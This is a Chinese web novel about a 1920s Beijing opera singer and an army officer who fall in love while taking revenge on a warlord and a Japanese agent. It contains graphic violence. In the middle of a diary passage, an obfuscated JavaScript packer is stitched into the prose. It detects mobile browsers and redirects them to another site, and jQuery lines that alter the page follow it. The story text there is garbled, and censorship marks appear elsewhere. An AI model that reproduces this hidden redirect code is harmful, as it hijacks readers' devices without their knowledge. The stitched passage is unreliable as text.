民国十二年冬，北平落了第一场雪。
碎雪粒子扑在广和楼朱漆剥蚀的廊柱上，戏牌"云袖"二字被水汽洇得微微发晕。后台的汽灯晃得人眼花，班主老周第三次撩开帘子往外看，回头时山羊胡都在打颤："云哥儿，卢大帅的包厢还空着......"
铜镜里，描金画翠的眉眼轻轻一挑。
"他爱来不来。"
云袖指尖蘸了胭脂，在唇上慢慢碾开。凤冠珠翠垂下的流苏晃在颊边，衬得未上妆的半张脸愈发素白。门外传来催促的梆子声，他起身时，绣满金凤的戏服下摆扫过炭盆，溅起几点火星。
"今儿唱《贵妃醉酒》，又不是《游龙戏凤》。"小徒弟蹲着帮他理裙裾，听见头顶传来一声冷笑，"他卢大帅算什么东西，也配让我改戏码？"
锣鼓点恰在此刻响起。
台上雪亮的汽灯劈开黑暗，云袖踩着【四平调】的板眼款款而出。水袖抛出去的刹那，满场抽气声潮水般漫过座席。二楼包厢突然传来椅子拖动声，他眼尾余光瞥见几个穿军装的身影，腕子一翻，将本要抛向那处的翎子硬生生收了回来。
"海岛冰轮初转腾——"
唱腔拔到高处时，云袖听见自己发间的点翠簪子微微作响。这是梅先生亲传的诀窍，气要足而不躁，像北平冬夜里悬在檐角的冰锥，亮得能扎进人心里去。台下黑压压的人头渐渐模糊，只剩汽灯照出的一片雪亮，他旋身卧鱼时，绣鞋尖上的绒球正对着二楼包厢。
"砰！"
枪声炸响的瞬间，云袖的腰肢还软软折在台上。子弹擦着凤冠嵌的东珠飞过，珠串哗啦啦散了一地。副官张德彪的盒子炮冒着青烟，枪管直接抵上他太阳穴："装什么清高？我们大帅要听《十八摸》！"
戏班众人都僵在原地。上个月鲜鱼口的天乐班，就因不肯去卢府唱堂会，班主被吊死在城门楼子上。云袖跪坐在散乱的戏服堆里，胭脂染红的指甲掐进掌心。他认得这枪——德国毛瑟，枪把上缠着红绸，上周刚在城南打死三个女学生。
"怎么？"卢大帅腆着肚子站起来，武装带勒出的肥肉从军装缝隙里溢出来，"云老板这是瞧不起我卢某人？"
二楼雅座突然传来杯盖轻叩的脆响。
"北洋陆军讲武堂程岩，请教卢大帅治军之道。"
声音不高不低，却让全场陡然一静。云袖抬头望去，见西侧包厢站着个穿藏青呢子军装的年轻人。那人没配枪，只腰间悬着柄西洋指挥刀，修长手指正慢条斯理地转着茶盏。
卢大帅的胖脸抽搐起来："程参谋？大帅府的事......"
"巧了。"程岩从副官手里接过一份公文，牛皮纸封口处还滴着红蜡，"大总统今早刚签发的《整饬军纪令》——"他忽然用刀鞘挑起云袖散落的珍珠头面，"第七条，严禁胁迫艺人。"
满场死寂中，那颗珍珠顺着刀鞘滚到云袖膝前。他鬼使神差地伸手去接，却被一股力道带得向前扑去。程岩的手套带着松木香，稳稳托住他肘弯时，他听见自己戏服内的银铃铛叮咚乱响。
"云老板的《贵妃醉酒》，"程岩的声音擦着他耳垂过去，"比梅老板另有一番风味。"
卢大帅的武装带咔咔作响。云袖看着程岩侧脸投下的阴影，忽然想起昨夜梦里那只白额虎——也是这样懒洋洋蹲着，爪子却按着猎物咽喉。
"我们走！"卢大帅一脚踹翻茶桌。程岩的副官立即横跨一步，锃亮的军靴踩住那件狐皮大氅："大帅留步。云老板这头面值八百大洋，您副官打坏的雕花栏杆是前清古董——"
云袖被小徒弟搀回后台时，指尖还在发抖。铜镜里映出个鬓发散乱的杨贵妃，金线绣的凤尾被枪火燎焦了一角。他刚要卸妆，镜中突然多出一道藏青色身影。
"程某唐突。"年轻军官不知何时站在了妆台边，手里捧着那串珍珠头面，"只是有句话不得不问——"他忽然用指挥刀挑起云袖下巴，"云老板方才，是故意把卧鱼对着卢大帅包厢的？"
胭脂笔啪地折断在妆台上。云袖望着刀身上刻的"精忠报国"四字，忽然笑了："是又怎样？程参谋要拿我问罪？"
窗外雪下得更密了。程岩摘下手套，露出虎口处一道陈年伤疤。他指尖拂过云袖被枪管蹭红的额角，突然将什么东西塞进他水袖里。
"勃朗宁M1900。"军官的声音混着远处飘来的西皮流水，"下次再有人拿枪指着云老板——"他转身时肩章擦过珠帘，"不妨试试往这儿打。"手指在自己心口点了点。
云袖摸到袖中冰冷的金属，忽听得前院一阵骚动。小徒弟慌慌张张冲进来："不好了！卢大帅派人把戏园子围了，说要抓革命党！"
程岩的佩刀突然出鞘三寸。
"劳烦云老板，"他从兜里掏出怀表看了看，"再唱一刻钟的《贵妃醉酒》。”
雪夜，戏班后院的青砖上洇开一滴血。
云袖左臂的伤口狰狞地翻卷着，是被卢大帅那支鎏金烟枪生生烫出来的。他咬着帕子，右手颤抖着往伤处倒烧酒，冷汗顺着脖颈滑进衣领，在月白中衣上晕开一片深色。
班主老周蹲在门外抽旱烟，烟锅子磕在门槛上砰砰响："云哥儿，卢大帅派人递了话......明晚的堂会，你若不去，天乐班就是咱们的前车之鉴。"
铜盆里的水被血染成淡红。云袖盯着水面晃动的倒影——那里头的人卸了妆，眉眼干净得近乎脆弱，哪有半分台上杨贵妃的雍容。他忽然抓起妆台上的螺子黛，对着镜子练习用右手画眉。
第一笔歪得离谱。
"啧。"
墙头传来一声轻响。云袖反手抽出枕下的勃朗宁，枪口却对上一双锃亮的军靴——程岩蹲在窗棂上，黑色大氅沾满碎雪，怀里抱着个描金医药箱。
"程参谋改行做梁上君子了？"云袖没放下枪。
程岩跳进屋里，军装下摆带进一阵寒风。他径直抓住云袖的手腕，拇指按在脉门上轻轻一摩挲："云老板拿枪的姿势，像在抛水袖。"
医药箱咔哒一声弹开。程岩取出磺胺粉时，云袖猛地缩回手："不劳费心。这点伤，死不了。"
"是死不了。"程岩突然掀开他左臂的衣袖，露出旧伤叠新伤的肌肤，"但再勒头带，这只手就废了。"
云袖瞳孔骤缩。戏子的命根子在嗓，可乾旦的魂灵全系在这双手上——要会旋腕，会拈指，要能把三尺水袖甩出万千风流。他盯着程岩熟练包扎的手指，忽然问："为什么帮我？"
程岩用纱布打了个结，金属袖扣擦过云袖腕骨："卢大帅上个月枪毙的十二个学生里，有三个是我在剑桥的学弟。"
窗外传来宵禁的梆子声。程岩起身时，云袖突然拽住他的武装带："程岩。"这是头一回他没喊"程参谋"，"明晚卢府堂会，我去。"
程岩的瞳孔在黑暗中微微收缩。他反手扣住云袖的后颈，呼吸喷在对方结痂的伤口上："你知道去了意味着什么。"
"知道。"云袖仰头望进他眼底，忽然笑了，"所以程参谋要不要再救我一次？"
远处传来汽车引擎的轰鸣。程岩猛地将云袖推到镜前，右手握着他的手提起眉笔："画眉该这样——"笔尖顺着眉骨轻扫而过，"先定峰，再走脊。"
镜中映出两人交叠的身影。云袖看着程岩军装肩章压在自己月白中衣上，像雪地里落了一只鹰。
鎏金笼
卢府的鎏金自鸣钟敲响第八下时，云袖腕间的银铃铛突然断了线。
满厅的军阀哄笑起来。他跪坐在波斯地毯上，看着珍珠一粒粒滚进檀木地板缝隙——这是程岩昨夜替他重新串好的。绣着金线的戏服领口被酒液浸透，黏腻地贴在锁骨上，卢大帅的铜烟枪正抵在那里慢慢画圈。
"云老板唱了一晚上《思凡》，"肥厚的手掌突然掐住他后颈，"也该学学《盘丝洞》了。"
二楼包厢传来玻璃碎裂声。程岩摔了酒杯，军装袖口沾着香槟酒液，像泼了一袖子的血。他身后站着个穿西装的日本人，正用生硬的中文说："程桑，我们谈的生意..."
"吉田先生稍等。"程岩解了武装带扔给副官，铜扣砸在地毯上闷响，"我先教教卢大帅——"他一把攥住卢大帅的手腕，"什么叫待客之道。"
云袖看见程岩拇指按在卢大帅脉门上——那是昨晚替他包扎时贴过纱布的位置。鎏金烟枪当啷落地，程岩借着扶他的动作，将个冰凉的物件塞进他水袖："吉田的车停在西角门。"
"程参谋这是要截胡？"卢大帅突然掀了桌子。云袖被程岩护在身后，满厅军官齐刷刷拔枪，他摸到袖中硬物——是把汽车钥匙，齿痕刻着三菱标志。
吉田的冷笑打破僵局："程桑若喜欢这戏子，何必..."话音戛然而止。程岩的佩刀不知何时出了鞘，刀尖挑着个锦盒，里头躺着支美国产的盘尼西林。
"大帅三姨太的病，"刀锋一转指向卢大帅，"这支药能换云老板全身而退吧？"
---
后半夜的雪地里，云袖的绣鞋陷进污泥。
他攥着汽车钥匙狂奔，身后传来零星的枪声。吉田的黑色轿车停在说好的位置，可当他拉开车门——
程岩正坐在驾驶座擦枪，军装外套不见了，白衬衫领口沾着新鲜的血迹。
"趴下！"
子弹击碎后窗玻璃时，云袖被整个按在程岩腿上。他闻见血腥味混着枪油味，男人滚烫的呼吸喷在他后颈："云老板欠我两条命了。"
轿车在胡同里甩出惊险的弧度。云袖突然发现程岩左手一直捂着侧腹，鲜血从指缝渗出来，把吉田的真皮座椅染得斑驳。
"你..."
"别用那种眼神看我。"程岩单手打方向盘，嘴角还噙着笑，"这伤是上周在保定挨的，跟今晚没关系。"
东交民巷的探照灯扫过来时，云袖扯开自己戏服内衬。金线绣的牡丹被撕成布条，他跪在颠簸的车座上给程岩包扎，突然摸到肋下一处陈年伤疤——
"教会医院火灾？"他指尖发颤。
程岩猛地踩下刹车。
雪光里，他们四目相对。远处传来追兵的摩托车声，程岩却突然抚上云袖左臂的烫伤："原来当年隔着火场递纱布的...是你。"
程岩的体温烧到第三夜，开始说苏州话。
黑暗里，云袖数着药瓶里剩下的磺胺片——这是藏在吉田轿车暗格里的，统共不过七八粒。他沾湿帕子去擦程岩汗湿的额头，却被对方一把扣住手腕。
"……三号联络站暴露了。"滚烫的唇擦过他掌心，吐出的字句却让他浑身发冷，"名单在……"
地窖顶突然传来脚步声。云袖迅速吹灭蜡烛，把程岩的配枪塞进他汗湿的掌心。黑暗中他摸到对方紧绷的背肌，那些凹凸不平的旧伤像某种密码，在指尖下微微颤动。
"云老板会唱《文昭关》吗？"程岩的呼吸喷在他耳后，声音哑得不成调，"伍子胥……过不去的那道关。"
瓦砾缝隙透下几缕光，照见地窖角落里散落的戏服——那日从卢府逃出来，云袖只来得及抢回这套《霸王别姬》的行头。他忽然抓起虞姬的剑，"铮"地弹了下剑刃。
"不是这么唱。"程岩低笑，带着他的手往剑柄上某处花纹按去，"暗号要按三长两短……"
头顶的脚步声突然逼近。云袖反手将剑尖抵在程岩咽喉，拔高嗓音："姓程的！你以为救过我一回，就能……"
地窖门轰然洞开。
卢大帅的副官举着马灯，看见的正是这幕——戏子衣衫不整地跨坐在军官身上，明晃晃的宝剑贴着对方动脉。
"张副官来得正好。"云袖眼尾飞红，剑锋在程岩颈上压出血线，"这混蛋骗我说能逃去上海，结果……"
张德彪的枪口在他们之间游移，突然瞥见云袖松垮衣领下的红痕——那是他昨夜替程岩降温时，被对方无意识掐出来的。
"操！"副官啐了一口，"大帅还当你们是革命党，原来他妈的是姘头！"
---
第五日破晓，程岩在药香里醒来。
晨光透过地窖的破瓦罐，在泥地上映出个歪斜的"口"字。云袖正用金线缝他染血的衬衣，针尖在光斑里穿梭如蝶。
"名单在广和楼牌匾后。"程岩突然说。
针脚一顿。云袖没抬头："烧糊涂了？我是唱戏的，听不懂这些。"
"那晚在卢府……"程岩撑起身子，纱布下渗出新鲜的血色，"你明明可以用吉田的车独自逃命。"
金线突然绷断。云袖抓起药碗抵在他唇间："喝药。"
苦涩的药汁晃出涟漪。程岩握住他颤抖的手腕："教会医院着火那晚，我背上的烧伤……"
"是替你挡的房梁。"云袖猛地抬头，眼眶红得惊人，"十年了程岩，你他妈现在才认出我？"
地窖陷入死寂。
程岩突然扯开衣襟，露出肋下那道旧疤。他抓着云袖的手按上去："当年火场里，有人用纱布缠住我眼睛……"指尖下的疤痕突突跳动，"那人在哼《游园惊梦》。"
云袖的指甲陷进那道疤里。他记得清清楚楚——十六岁的程岩被压在燃烧的房梁下，军装少年满脸是血，却死死护着怀里昏迷的小女孩。
"现在轮到我问了。"程岩逼近他，"为什么冒险救革命党？"
晨光忽然大亮。云袖从戏服夹层抽出发黄的报纸——民国六年的《申报》，头条照片里是游行学生中弹的瞬间，为首的少年额角有颗朱砂痣。
"他是我师兄。"云袖摩挲着照片，"你们革命军……还收唱戏的吗？"
断簪
卢大帅的"赔罪礼"送到时，云袖正在给程岩煎药。
描金漆盒里躺着支鎏金点翠凤簪，日光下流转着妖异的紫光。小徒弟阿七刚想摸，被云袖一扇子敲在手背："去后院摘两片薄荷叶来。"
待屋里只剩两人，程岩突然用火钳夹起金簪，径直插进药炉——簪头翠鸟的眼中立刻渗出黑色黏液，在滚水里嘶嘶作响。
"砒霜淬的。"程岩冷笑，"老卢家祖传的把戏。"
云袖盯着那支毒簪，忽然想起师兄咽气前塞给他的纸条——上面就画着类似的凤簪图样。他下意识去摸袖中暗袋，却见程岩徒手掰断簪身，从空心金管里倒出卷微型胶卷。
"今晚广和楼有夜戏？"程岩将胶卷对着光，"劳烦云老板唱完《穆柯寨》，在''烧山''那折把二楼汽灯打灭。"
药炉突然爆出火星。云袖用铜盖压住火焰，声音比药渣还涩："程岩，你究竟把我当什么？"
军装外套从身后裹住他。程岩的下巴抵在他发顶，药苦味混着血腥气："当十年前火场里……" 指尖抚过他左臂烫伤，"替我缠纱布的观音。"
---
阿七死在申时三刻。
云袖找到他时，小孩蜷在后院水缸旁，喉咙被利刃划开，手里还攥着半片薄荷叶。血泊里歪歪扭扭画着个符号——是戏班孩子玩闹时自创的，代表"地窖"。
程岩掰开孩子僵硬的五指，从掌心取出一枚带血的铜纽扣——北洋军官制服第三颗纽扣，正是那日张德彪所穿款式。
"他们发现这里了。"程岩用染血的手合上阿七眼皮，"今晚必须转移。"
云袖没哭。他解下阿七腰间挂着的木头小刀——那是他上月亲手雕给孩子的生日礼。刀柄刻着"忠"字，如今被血糊得看不清笔画。
"《穆柯寨》的''烧山''，我改个唱法。"云袖的声音像淬了冰，"程参谋记得配合。"
---
当夜广和楼灯火通明。
云袖扮的穆桂英出场时，二楼包厢坐着三个穿长衫的"商人"，程岩混在其中，军装外套下藏着绷带。当唱到"看前方火光冲天"时，云袖的翎子突然扫过汽灯——
"砰！"
黑暗降临的瞬间，程岩看见云袖甩出水袖。三尺白绫如练，精准缠住张德彪的喉咙往栏杆外拖。他飞身上前补刀时，云袖正用戏腔念白："这一刀，祭我孩儿们——"
血溅在程岩脸上，温热腥甜。他抓住云袖颤抖的手按在自己心口："人是我杀的，债算我头上。"
台下乱作一团。云袖在黑暗里摸到程岩的唇，狠狠咬上去："程岩，你记住……" 血腥味在唇齿间蔓延，"阿七的命，我要卢大帅全家来偿。"
焚衣
卢大帅送来的檀木匣子散发着血腥气。
云袖盯着匣中那截泛青的断指——拇指第二关节有颗红痣，正是师兄弹月琴时总翘起的那根。断指下压着张泛黄的军令状，落款处"程岩"二字力透纸背，日期是民国六年冬。
"云老板可看仔细了。"张德彪的新副官咧嘴一笑，"当年下令开枪的程长官，如今装什么救世主？"
铜盆里的炭火噼啪炸响。云袖用火钳夹起军令状，火苗倏地吞没了"格杀勿论"四个字。他忽然轻笑出声："劳烦转告大帅——" 缎面靴尖碾过那截断指，"这礼物，我拿程参谋的人头来还。"
---
程岩在浴室昏倒时，带翻了整桶热水。
云袖冲进去时，正看见他背上的鞭痕在蒸汽中泛着紫——那根本不是火灾留下的。七道伤疤排成北斗状，最末一道贯穿腰脊，正是北平大狱"七星鞭"的独有标记。
"民国六年冬。"云袖把毛巾摔在程岩脸上，"你人在哪？"
水珠顺着程岩的睫毛往下滴。他抓起云袖的手按在自己心口疤痕上："这里，是你师兄打的枪。"
原来那日学生游行，程岩奉命混入队伍取证。名单到手时冲突爆发，他替红痣少年挡了军警的子弹，却被当成叛徒捅了一刀。重伤昏迷三个月，醒来时程家满门已因"通共"被处决。
"师兄的指头……"云袖声音发颤，"是你下令砍的？"
程岩突然将他拽进浴桶。热水漫过下巴时，染血的绷带浮起如赤绫。
"这双手杀过很多人。"程岩扣着他的后颈逼他直视自己，"但云袖，我宁愿剁了自己的手……" 喉结滚动，"也不会伤你珍视之人。"
---
当夜，云袖烧了所有戏服。
金线牡丹在火中蜷曲成灰时，程岩从背后抱住他。奇的是那戏服竟烧不透，灰烬里渐渐显出密密麻麻的字迹——是师兄用明矾水写的，北平军阀势力分布图。
"《游园惊梦》里有句词。"云袖戳着灰烬里的督军府标记，"''生生死死随人愿''——" 他转身将带灰的指尖按在程岩唇上，"程岩，我跟你干革命。"
远处传来宵禁的哨声。程岩舔去他指尖的灰，突然将人压进戏箱堆里："想清楚，跟着我……" 牙齿磨过他喉结，"要天天见血的。"
云袖扯开他衣领咬回去："巧了，我们唱戏的——" 腿缠上对方腰际，"最不怕的就是胭脂红。"
假葬
乱葬岗的乌鸦第三日才来啄食。
云袖在腐臭中睁开眼，舌尖下压着的药丸早已化尽，只余满口苦腥。他试着动了动手指——还好，程岩绑在腕间的铁丝够结实，生生把他从裹尸布里勒出三道血痕。
"云老板这‘尸’装得不像。"记忆里那人咬着他耳朵低语，"真死人......不会攥着我衣角发抖。"
月光照见不远处的新坟。云袖爬过去，用阿七的木刀掘开浮土——里面埋着程岩的佩刀，刀鞘里塞了张车票："申时，永定门煤车，找卖柿子的聋婆婆。"
乌鸦突然惊飞。云袖滚进坟坑，听见皮靴碾过碎骨的声音——
"搜！大帅说了，活要见人......"张德彪的嗓子像被炭滚过，"死要见尸。"
---
聋婆婆的柿子筐底下压着把钥匙。
煤车哐当哐当驶过丰台站时，云袖蜷在煤堆里数锁孔齿痕——七道凹槽，正是程岩背上鞭疤的数量。车窗外飘来零碎的对话：
"听说了吗？程参谋被革职......"
"何止！卢大帅亲手崩了他......"
煤灰簌簌落在车票上。云袖突然发现票根背面有字，借着煤油灯才看清——是程岩用针尖扎的盲文："戏箱夹层，等我。"
他猛地攥紧钥匙。那日焚毁的戏服里，唯独少了师兄送他的白蟒袍......
---
广和楼已成焦土。
云袖踩着断梁摸到后台，月光从破瓦间漏下来，正照在那只百年衣箱上。钥匙插入第七道齿槽时，箱内突然传出机括声响——
"别动。"
冰冷的枪管抵住他后腰。云袖却笑了，反手抓住那人手腕往自己腰上带："程参谋摸摸看......" 他引着对方手指抚过新刺的青痕，"你刻的密码，我补了朵牡丹。"
黑暗中响起熟悉的喘息。程岩扯开他衣襟，犬齿狠狠咬在刺青上："知不知道假死药有多难弄？你竟敢......" 话音戛然而止，他触到云袖满背的擦伤——那是爬出乱葬岗时被碎石刮的。
衣箱夹层啪地弹开。里面整齐码着六把勃朗宁，枪管下压着张照片：十六岁的程岩站在教会医院门口，身旁戴眼镜的医生......竟是云袖的师兄。
"白蟒袍我收走了。"程岩将枪别进他腰带，"现在，云老板该学学怎么用真家伙......" 突然将他按在箱盖上，"而不是整天甩那破水袖。"
血蟒
程岩第一次穿戏服，就溅了满袖血。
白蟒袍的腰身收得太紧，他索性撕开下摆，露出绑在大腿的枪套。云袖正给他勾眉，笔尖突然顿住——镜中人凤目斜飞，哪还有半分军官模样，活脱脱是个索命阎罗。
"《长坂坡》赵云该这么握枪。"云袖从背后环住他，手把手教了个花枪起势，"待会儿卢大帅的人进来......" 指尖突然发力，枪尖在程岩喉结三寸外划出寒光，"你旋腕时多偏半寸。"
后院传来暗号——三声布谷鸟叫。程岩反手将云袖推到镜前，拆了头面上的珍珠串塞进弹夹："记住，杀完人从西侧窗走。" 拇指抹过对方唇上胭脂，"这颜色......" 突然咬破自己舌尖，"沾血更好看。"
---
卢大帅果然中了计。
当三个便衣踢开化妆间门时，只见"云袖"背对门梳头，雪白蟒袍垂落在地。领头者刚举枪，忽见镜中寒光一闪——程岩回身的刹那，藏在假发里的飞刀已割开第一人喉咙。
"你不是......"第二人话音未落，程岩旋腕甩出水袖，那缀满珍珠的绸缎竟缠着勃朗宁，一枪轰碎对方天灵盖。
第三人转身要逃，却被门槛绊倒——正是云袖提前涂的油。程岩踩住他后背，慢条斯理地给枪上膛："告诉卢大帅......" 突然改用云袖的唱腔，"他点的《霸王别姬》——" 子弹穿透太阳穴，"该这么唱。"
血喷在雪白戏服上，像雪地里落了红梅。程岩脱戏服时，摸到内衬缝着的纸条——是云袖的字迹："教会医院地窖，有你要的答案。"
---
泛黄的日记本躺在生锈的手术台上。
云袖举着煤油灯，看程岩翻到民国六年那页。师兄工整的钢笔字记录着："今日收治
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353447|183594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
程家小公子，背遭七星鞭刑，称其父拒绝与日商合办烟馆......"
灯焰突然爆了个火花。程岩的指节捏得发白——原来程家灭门根本不是因为通共，而是他父亲烧了日本人的鸦片仓库。
"火灾那晚......"云袖突然指向某行小字，"师兄写''日方运来三箱白磷粉''。"
程岩猛地合上日记。现在一切都说得通了——教会医院失火是灭口，师兄被杀是为掩盖鸦片交易，连他被栽赃的"□□"罪名，都只是卢大帅讨好日本人的投名状。
黑暗中传来衣料摩擦声。云袖解开腰带，抓着程岩的手按在自己腰侧刺青上："现在你知道......" 牡丹花纹下藏着北斗七星的标记，"我为什么补这朵花了。"
程岩的吻落在那些未愈的针痕上，比子弹还烫。当他咬到锁骨时，云袖突然翻身压住他，牙齿磕破他旧伤："程岩，我要卢大帅......" 血腥味在唇齿间弥漫，"死得比程家惨十倍。"
连环计
台下的卢大帅绝对想不到，《连环计》里的匕首是真的。
云袖描着貂蝉的妆，眼角却画了道斜飞的剑纹——这是程岩昨夜用枪油给他勾的。铜镜里映出身后的"吕布"：程岩的雉鸡翎歪了半边，铠甲下藏着缠满□□的束带。
"董卓进场时，"程岩突然掐住他后颈，拇指摩挲着动脉，"你把酒盏往左摔。"
胭脂盒咔哒轻响。云袖旋开底层暗格，取出枚纽扣大小的铜片——这是聋婆婆新制的压力引爆器，要含在舌下用牙齿咬合。
"若我失手......"程岩突然将什么东西塞进他水袖。云袖一摸，是阿七的木刀。
---
三通鼓响，好戏开场。
卢大帅坐在特设的紫檀圈椅上，身后站着个戴圆框眼镜的日本人。云袖甩袖亮相时，瞥见程岩的指尖在方天画戟上轻叩——摩斯密码的"东京"二字。
"早听闻云老板的貂蝉比真貂蝉还妙。"卢大帅的胖手拍在日本人肩上，"吉田先生特意从奉天赶来......"
云袖的团扇突然脱手。按戏路该是吕布接住，程岩却故意慢了半拍——扇骨擦过吉田的眼镜，露出那人眼尾的褐斑。
是教会医院照片里站在师兄尸体旁的人！
酒过三巡，该到貂蝉掷盏为号。云袖的袖子却被人拽住——弹月琴的老周突然改弹《夜深沉》，这是示警的暗号！
"云哥儿小心！"老周吼破音的音色里，"吕布"的戟尖已朝程岩后心刺去——
原来这"吕布"竟是张德彪扮的！
---
爆炸发生在貂蝉卧鱼时。
云袖咬碎铜片的瞬间，程岩旋身将他护在身下。气浪掀翻整个戏台，卢大帅的紫檀椅炸成碎片。混乱中有人惨叫——是吉田捂着眼睛，阿七的木刀正插在他左眼眶里。
"走水啦！"
火舌舔上幕布的刹那，程岩拽着云袖滚进乐池。他撕开戏服，露出绑在腰间的另一组炸药："去后台找老周，他才是......"
话音未落，月琴弦突然勒住程岩脖子。老周的脸在火光中扭曲："程长官，您父亲当年......" 枯手猛扯琴弦，"也是这样被勒死的！"
云袖的簪子捅进老周咽喉时，带出一蓬黑血。濒死的老头竟笑起来："火、火药库......" 鲜血喷在程岩脸上，"你永远找不到……”
双城计
程岩在高烧中念出一串坐标。
西山枯井、第三棵老槐树、朝南七步——云袖用簪子蘸着程岩的血，把这些数字写在白蟒袍内衬。纱布拆到最后一层时，他触到肋下溃烂的伤口，化脓的黄水混着血丝，把床单黏在皮肉上。
"你父亲......"云袖往他嘴里塞了块参片，"是怎么把火药库地图交给你的？"
程岩的瞳孔在高热中微微扩散："葬礼......"他抓住云袖的手按在自己心口，"骨灰坛......夹层......"
突然一阵剧咳，带血的唾沫星子溅在云袖脸上。程岩用最后清醒的力气咬破指尖，在他掌心画了个"帅"字。
---
子时的卢府静得诡异。
云袖扮作送宵夜的小厮，食盒下层藏着程岩的怀表——玻璃表盖下压着张微型地图，正是程父骨灰坛里的西山火药库平面图。
"慢着。"张德彪突然拦住他，"云老板的《游龙戏凤》......"刺刀挑开食盒盖，"怎么改唱《鸿门宴》了？"
油腻的肘子肉被劈成两半，露出里面的□□。云袖甩出袖中钢丝的刹那，西窗外突然炸开烟花——是程岩与他的暗号，但比约定时间早了整整一个时辰！
"看来程参谋......"张德彪的刺刀抵住他咽喉，"等不及要收尸了。"
---
日租界的铁丝网挂着碎肉。
程岩拖着伤腿爬过排污沟，吉田的眼眶还插着那柄木刀。怀表指针指向十一点，他却提前拧开了引爆器——因为从西山挖出的密件显示，卢大帅今晚就要把火药库移交给日本人。
"程桑。"吉田的独眼里闪着冷光，"令尊临死前......" 他突然按下桌底电铃，"也这么不自量力。"
警报声响彻租界。程岩撞碎玻璃窗跃出的瞬间，看见卢府方向升起熟悉的信号烟——是云袖袖中的磷粉！可那分明是"行动取消"的警告......
---
两条黑影在城墙残垣相遇。
云袖的钢丝缠着半截断指，程岩的军装浸满火油。他们同时开口：
"卢府地下是假的！"
"租界地图是陷阱！"
远处传来引擎轰鸣。程岩突然撕开染血的衬衫，露出心口未愈的伤疤："云袖，赌一把？"
磷火点燃引线时，云袖咬住那截断指吹了声唿哨——是阿七生前常哼的童谣调子。爆炸声从西山与租界同时响起，火光中程岩将他按在残碑上，咬破的唇贴上他耳垂：
"若活到明天......" 血顺着碑文往下流，"我娶你。"
灰烬堂
拜天地的红烛是插在卢大帅头颅上的。
广和楼的残梁在身后燃烧，云袖凤冠上的东珠早散了，只剩几缕金线缠着程岩的武装带。他们跪在碎瓦砾上，三叩首时震落了梁柱间的火星，像一场颠倒的流星雨。
"一拜天地——"程岩割开卢大帅的喉咙，血线喷溅成弧形。
"二拜高堂——"云袖将吉田的独眼按在师兄照片上。
"夫妻对拜——"阿七的木刀终于插进仇人心窝，刀柄"忠"字被血浸得发亮。
交杯酒是混着硝烟与血的。程岩的牙齿磕在杯沿，突然将云袖扑倒——有狙击手！子弹擦着他耳廓飞过，打碎了供桌上的白蟒袍骨灰坛。
"程岩！"云袖摸到他后背黏湿的一片，"你他妈......"
"新娘子......"程岩喘着气把他往断墙后拖，"别说脏话。"
---
止血的金线是从戏服上现拆的。
程岩趴在烧焦的戏箱上，看云袖用染血的指尖捻开凤凰尾羽的绣线。针尖穿透皮肉时，他咬住云袖半截散落的腰带："当年教会医院......" 冷汗滴在对方手背，"你也这么给我缝的？"
"闭嘴。"云袖的睫毛在火光中抖得厉害，"再动一下，我把你琵琶骨缝在一起。"
远处传来军靴声。程岩突然翻身压住他，就着这个姿势摸出个铁盒——里面是两本假护照，巴黎戏院的聘书，还有张泛黄的婚帖。
"云老板......"他舔掉云袖睫毛上的血，"私奔吗？"
---
子时的乱葬岗最适合埋秘密。
程岩用刺刀掘坑时，云袖正把婚帖上的"程门云氏"改成"云门程氏"。月光照见坟坑里的物件：师兄的断指、阿七的木刀残片、染血的戏牌，还有程父那把烧变形的铜钥匙。
"等打跑日本人......"程岩突然将半枚子弹壳套进云袖无名指，"我补你个教堂婚礼。"
云袖把另一枚按在他染血的虎口："程岩，你记好了......" 抓起他的手按在自己心口，"若你死在前线，我当晚就吊死在巴黎歌剧院门口。"
破晓的汽笛声从码头传来。程岩用最后一□□炸平坟堆，火光中他们的影子融成一个，像当年广和楼初见时交叠的戏影。
长生殿
巴黎的雪落在云袖眉间时，他恍惚听见了广和楼的锣鼓点。
十年了，塞纳河畔的戏院总缺些味道——没有硝烟混着脂粉的呛，没有血滴在铜钹上的颤音。他描着杨贵妃的妆，笔尖却顿在眼尾。镜中忽然多出一道身影，藏青呢子大衣下露出半截军装领。
"先生点戏？"云袖没回头，胭脂膏子在掌心攥出红痕，"《长生殿》只唱到''埋玉''一折。"
那人摘下帽子。右额角新添的疤掩在鬓发里，可虎口那颗朱砂痣，云袖闭着眼都能画出来。
"巧了。"程岩的法语带着北平腔，"我想听''霓裳羽衣''。"
---
纳粹搜查那夜，程岩的旧伤疤出卖了他。
盖世太保的枪管抵在他后背七星鞭痕上时，云袖正在台上唱《雷峰塔》。水袖抛出去的刹那，他看见程岩被押进包厢，军装第三颗纽扣闪着暗光——是他们埋在广和楼废墟的铜钥匙。
"法海！"云袖突然改词，翎子直指包厢，"你拆我夫妻一世，我烧你金山十遭！"
满场哗然中，程岩踹翻警卫。他夺枪的姿势仍是当年广和楼救人的模样，子弹却精准打灭所有吊灯。黑暗里云袖甩出白绫，程岩抓住一端飞身上台——
就像那年火场，他拽住十六岁的少年逃出生天。
---
白蟒袍灰烬种出的牡丹，最终开在了程家祖坟。
战后第一个清明，云袖抱着骨灰坛跪在焦土上。坛里是戏服残片、巴黎的雪、半枚子弹壳，和程岩最后留给他的怀表——指针永远停在子时，玻璃裂痕拼成个"云"字。
"你骗我。"云袖把脸贴在冰冷的石碑上，"说好......若你死在前线，我就吊死歌剧院。"
风掠过坟头的牡丹，那花是用程岩血书婚帖的灰种出来的。远处传来孩童嬉闹，金发碧眼的小女孩举着木头小刀跑过，刀柄刻着歪歪扭扭的"忠"字。
云袖忽然笑了。他解开衣领，露出心口纹的七星疤——那是用程岩骨灰掺着朱砂刺的。夕阳西沉时，他甩开水袖，在无人的坟前唱起完整的《长生殿》。
